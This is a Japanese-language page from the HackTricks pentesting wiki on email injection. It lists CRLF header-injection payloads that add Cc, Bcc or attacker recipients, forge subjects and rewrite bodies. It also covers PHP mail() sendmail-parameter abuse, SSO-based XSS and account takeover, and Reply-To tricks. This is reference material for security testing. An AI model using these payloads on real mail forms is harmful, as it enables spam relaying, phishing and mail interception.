hacktricks/pentesting-web/email-injections.md

9.2 KiB
Raw Blame History

Email Injections


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法

送信されたメールにインジェクト

送信者引数の後にCcとBccをインジェクト

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

引数のインジェクション

メッセージは、受信者および受信者1アカウントに送信されます。

From:sender@domain.com%0ATo:attacker@domain.com

件名引数をインジェクトする

The message will be sent to the original recipient and the attacker account.

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

メッセージ本文の変更

2行の改行を挿入し、その後にメッセージを書いて、メッセージ本文を変更します。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 関数の悪用

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

第5パラメーター$additional_parameters

このセクションは、攻撃者がそれを制御していると仮定してこのパラメーターを悪用する方法に基づいています。

このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)関数でサニタイズされます。

攻撃者は、この場合にsendmailのための追加パラメーターを注入することができます。

/usr/sbin/sendmailの実装の違い

sendmailインターフェースは、システムにインストールされているMTAメールソフトウェアSendmail、Postfix、Eximなどによって提供されます。基本機能-t -i -fパラメータなどは、互換性のために同じですが、他の機能やパラメーターは、インストールされているMTAによって大きく異なります。

以下は、sendmailコマンド/インターフェースの異なるmanページのいくつかの例です

sendmailの起源によって異なるオプションが発見され、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行したりすることができます。詳細はhttps://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlで確認してください。

メール名に注入

メールの無視される部分

稀な場合に、記号:+、-、および**{}**は、タグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。

**かっこ内のコメント()**は、先頭または末尾にある場合も無視されます。

ホワイトリストのバイパス

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

引用符

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPアドレス

角かっこ内にドメイン名としてIPアドレスを使用することもできます

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

その他の脆弱性

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

サードパーティSSO

XSS

githubsalesforceなどの一部のサービスでは、XSSペイロードの入ったメールアドレスを作成することができます。このプロバイダーを使用して他のサービスにログインし、このサービスがメールを適切にサニタイズしていない場合、XSSを引き起こす可能性があります。

アカウント乗っ取り

salesforceのようなSSOサービスが、与えられたメールアドレスを確認せずにアカウントを作成することを許可し、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
与えられたメールが検証されたかどうかをsalesforceが示しているが、アプリケーションはこの情報を考慮すべきです。

Reply-To

From: company.comReplay-To: attacker.comを使用してメールを送信し、メールが内部アドレスから送信されたために自動応答が送信される場合、攻撃者はその応答受信できるかもしれません。

ハードバウンス率

AWSなどの一部のサービスでは、通常10%に設定されたハードバウンス率として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。

ハードバウンスとは、受信者のアドレスが無効または存在しないために送信者に返送されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーがメールを受け入れないことによって発生する可能性があります。

AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンスになった場合無効なアドレスやドメインなどの理由、これは10%のハードバウンス率を意味します。この率に達すると、AWS SESSimple Email Serviceがメール送信機能をブロックまたは一時停止する可能性があります。

中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。

詳細な情報については、AWSの公式ドキュメントであるAWS SES Bounce Handlingを参照してください。

参考文献